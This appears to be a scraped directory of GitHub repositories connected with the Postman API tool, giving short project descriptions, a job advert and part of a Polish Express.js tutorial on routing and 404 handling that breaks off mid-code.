BPMN research case for zaakgericht werken using camunda process engine on nodejs external workers | 2 stars | 2 watchers | 0 forks |
|
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
|
amittyyy/LandonHotelAPI_Project book, booking, mobile, native, register, search |
BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. | 1 stars | 1 watchers | 0 forks |
|
bhawna2109/Librarian book, books, case, check, collection, data, database, library, office, search, storing |
Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. | 1 stars | 1 watchers | 0 forks |
|
skhetarpaul/project-back-end arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users |
This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. | 1 stars | 1 watchers | 0 forks |
|
DigitalAPI/Postman-Bundle creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax |
Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. | 0 stars | 0 watchers | 1 forks |
|
ckumar1/zendesk-search-api-requests client, collaboratively, search, zendesk |
Used to collaboratively share search requests saved in Postman client | 0 stars | 0 watchers | 0 forks |
|
johnnynotsolucky/appsearch-postman-collection apps, collection, description, script, search |
No description available. | 0 stars | 0 watchers | 0 forks |
|
asheeshmisra/postman-Bing_In_Zomato collection, place, postman collection, public, rest, restaurant, search, spec |
This is a public repository having a postman collection to search for a restaurant near a specified place using Zomato API and Bing Maps REST API. | 0 stars | 0 watchers | 0 forks |
|
brunopacheco1/learning-elasticsearch document, documentation, elastic, elasticsearch, learn, learning, search |
Reading and Learning Elastic Search documentation and applying it on Java, Node.js and Postman. | 0 stars | 0 watchers | 0 forks |
|
deeep911/Java-elasticsearch conducted, elastic, elasticsearch, search |
Elastic search is conducted using SpringBoot in Java, for API usage postman needs to be used | 0 stars | 0 watchers | 0 forks |
|
deeep911/JAVA-ElasticSearch-SpringBoot conducted, host, hosted, java, local, locally, search |
Elasticsearch is conducted using SpringBoot in java, hosted locally.Hence, POSTMAN is needed for API usage. | 0 stars | 0 watchers | 0 forks |
|
deeep911/Java-parser-elasticsearch data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets |
Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. | 0 stars | 0 watchers | 0 forks |
|
djdagorne/moviedex-api current, index, movie, search |
indexed movie searcher, currently made for postman lookups with a UUID | 0 stars | 0 watchers | 0 forks |
|
garethahealy/elastic-postman elastic, search |
[NEEDS-UPDATE] The idea of this project is to make it easier to search any GNU Mailman v2. | 0 stars | 0 watchers | 0 forks |
|
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
|
joanjpx/elasticsearch-api elastic, elasticsearch, search |
API Requests Collections for Testing ElasticSearch Basics @ POSTMAN | 0 stars | 0 watchers | 0 forks |
|
JosephFahedTossi/voting-api application, header, image, interface, program, programming, search, select, software, test, tested, upload, user |
An application programming interface which is tested using the Postman software where a user can search candidates by using the header "firstname", upload an image and vote for the selected candidate. | 0 stars | 0 watchers | 0 forks |
|
kabanon/learning-elastic-search elastic, learn, learning, search |
You Know, for Search | 0 stars | 0 watchers | 0 forks |
|
KamilWysocki1990/GitHubSearch application, browser, check, data, in browser, method, place, resource, resources, search, server, source, unit |
MVP||This application give u opportunity to search through repository in GitHub resources along with data to recognize owner of repository . It can also transfer us to the place where we can check chosen repository in browser. In app is implemented method in RxJava for handle bigger data flow which can help reduce time for waiting to get data on screen. Technlogoy used : Java, RxJava2, Retrofit 2, RecyclerView, MVP, ButterKnife, Glide, CardView, LifeCycleObserver, Architecture Components, Postman. | 0 stars | 0 watchers | 0 forks |
|
lizvane3/04-spotiapp active, component, connection, home, image, index, message, messages, release, route, router, search, searches, track, usar, util |
Spotify: Routes (using it good and usedHash) routerLinkActive = "active” - routerLink="home”. HTTP Request. Spotify connection with postman - Home showing new releases - Search by artist - Centralizar peticiones hacia Spotify (one request to get releases and searches) - Creating pipe to no image - Reutilizar componente tarjeta para usar en index y busqueda con Input - Foundation loading - Route to each artist - Show top tracks and preview - Use safe url with pipe domSeguro. - Insert preview Spotify widget - Error messages in screen with Input | 0 stars | 0 watchers | 0 forks |
|
bunq/postman collection, environment, environments |
Postman collection and environments | 16 stars | 16 watchers | 3 forks |
|
Advsol/iMISRESTCollection access, endpoint, endpoints, environment, environments, interface |
Collection of endpoints and environments used to access the iMIS RESTful interface | 4 stars | 4 watchers | 1 forks |
|
DannyDainton/basic-newman-slack-bot collection, collections, environment, environments, express, newman, slack, straight |
A basic express app that allows you to run Postman collections against different environments with Newman, straight from Slack. | 0 stars | 0 watchers | 6 forks |
|
adamenagy/MyPostmanCollections collection, collections, environment, environments, related |
Postman related collections and environments | 0 stars | 0 watchers | 5 forks |
|
ashishksingh/postman_collection_for_oci_rest collection, environment, environments, rest |
Postman Collection and environments for Invoking Oracle OCI REST APIs. | 0 stars | 0 watchers | 5 forks |
|
smallcampus/postmgn collection, collections, environment, environments, export, import, postman collection, postman collections, tool |
A tool that helps import and export postman collections + environments | 2 stars | 2 watchers | 0 forks |
|
cmgrote/ibm-igc-postman collection, collections, environment, environments, form, format, interacting |
Postman collections and environments for more easily interacting with IBM Information Governance Catalog's REST API | 0 stars | 0 watchers | 2 forks |
|
castle/postman collection, collections, environment, environments |
Postman collections and environments | 1 stars | 1 watchers | 0 forks |
|
FRINXio/Postman collection, collections, environment, environments, instruction, struct |
The API for Frinx. Contains Postman collections and environments. See README below for usage instructions. | 1 stars | 1 watchers | 0 forks |
|
nickrusso42518/postman collection, collections, environment, environments, sort |
Assortment of Postman collections/environments | 1 stars | 1 watchers | 0 forks |
|
api-evangelist/environments environment, environments, generating, list, rating, token, tokens |
This is a project for generating tokens and Postman environments. | 1 stars | 1 watchers | 0 forks |
|
luciansr/update-postman-environment environment, environments, spec |
Script to update all your Postman environments with a specific key-value | 1 stars | 1 watchers | 0 forks |
|
polarbase/docker-newman docker, environment, environments, gitlab, image, newman, running |
Docker image for running newman in (gitlab)-ci environments | 0 stars | 0 watchers | 2 forks |
|
darkestpriest/postman-environment-generator config, configuration, environment, environments, generate, generates, generator, library |
A library that generates environments for postman using a simple configuration | 0 stars | 0 watchers | 1 forks |
|
ntiss/postmanToStoplightConverter collection, collections, convert, converts, environment, environments, light, tool |
This tool converts Postman collections (or environments) to Stoplight collections (or environments) | 0 stars | 0 watchers | 1 forks |
|
timrsfo/postman-magento agent, collection, collections, docker, dockerized, environment, environments, implements, magento |
dockerized-magento 1.9x implements OAuth 1.0a REST Api. Postman environments, collections | 0 stars | 0 watchers | 1 forks |
|
allenheltondev/newman-pro collection, collections, environment, environments, newman, pull, test, version |
Newman Runner that uses the Postman-Pro api to pull the latest version of your collections and environments | 0 stars | 0 watchers | 0 forks |
|
brodoyoueventest-io/openweathermap collection, collections, environment, environments, event, test, testing, weather |
Postman collections and environments for testing the OpenWeatherMap API | 0 stars | 0 watchers | 0 forks |
|
bt-dd/Postman_WorkSpace_Downloader collection, collections, environment, environments, fetch, workspace |
Recursively fetches all Postman collections/environments by workspace using the Postman API | 0 stars | 0 watchers | 0 forks |
|
coding-eval-platform/postman coding, collection, collections, environment, environments, form, platform |
Repository containing postman stuff, such as collections and environments | 0 stars | 0 watchers | 0 forks |
|
TVoroshilova/QA-automation-programmer agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing |
At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) | 0 stars | 0 watchers | 0 forks |
|
flaviostutz/postman-runner environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools |
Container with tools for running Postman scripts for integration tests on local or CI environments | 0 stars | 0 watchers | 0 forks |
|
kytmanov/postmanBackup automat, automatic, automatically, collection, collections, environment, environments |
Export Postman collections and environments automatically | 0 stars | 0 watchers | 0 forks |
|
nobitagit/postman-tester environment, environments, test, tester, variable, variables |
Repo to test Postman environments and variables | 0 stars | 0 watchers | 0 forks |
|
Salling-Group/backup-postman backup, collection, collections, download, environment, environments, to do, tool |
CLI tool to download Postman collections and environments for backup or migration purposes | 0 stars | 0 watchers | 0 forks |
|
RTradeLtd/ipld-eml data, email, mail, parse, parser, store, stores |
An RFC-5322 compatible email parser that stores data on IPFS | 5 stars | 5 watchers | 0 forks |
|
OKaluzny/jee-jax-rs-jsoup parse, parser |
Simple parser, use Java EE, JAX-RS. | 1 stars | 1 watchers | 1 forks |
|
codeasashu/python-postman-parser collection, parse, parser, postman collection, python, runner |
A postman collection parser and runner written in python | 1 stars | 1 watchers | 0 forks |
|
foonster/postman file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables |
Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. | 1 stars | 1 watchers | 0 forks |
|
job-hax/resume-parser parse, parser, resume |
Linkedin Resume Parser in Python3 | 0 stars | 0 watchers | 2 forks |
|
dapinitial/SimpleServer bcrypt, initial, parse, parser, route, test, tested |
Simple Server with Authentication Middleware using Node, Express, Mongoose, MongoDB, Morgan, body-parser, bcrypt, JWT, and Passport. Boilerplate per usual, route-tested with Postman and RoboMongo. | 0 stars | 0 watchers | 1 forks |
|
DigitalAPI/Postman-Bundle creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax |
Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. | 0 stars | 0 watchers | 1 forks |
|
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
|
chakpongchung/postman-parser description, parse, parser, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
TakuCoder/postman-collection-parser collection, description, parse, parser, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
vy415/postman_parser description, parse, parser, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
cncal/parrot apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool |
A tool used to parse json file exported from Postman and generate apidoc automatically. | 0 stars | 0 watchers | 0 forks |
|
codeasashu/golang-postman-parser collection, golang, implementation, lang, parse, parser, postman collection |
A postman collection parser implementation in Golang | 0 stars | 0 watchers | 0 forks |
|
deeep911/Java-parser-elasticsearch data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets |
Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. | 0 stars | 0 watchers | 0 forks |
|
FernandoAlencarJr/backend-postman-expresss-cors-bodyparser-noderestful backend, crud, express, node, noderestful, parse, parser, rest, restful |
uso para crud | 0 stars | 0 watchers | 0 forks |
|
imikemiller/lumen-swagger-generators docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper |
A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser | 0 stars | 0 watchers | 0 forks |
|
martinproxy0/Zadanie_17_5 action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars |
17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { 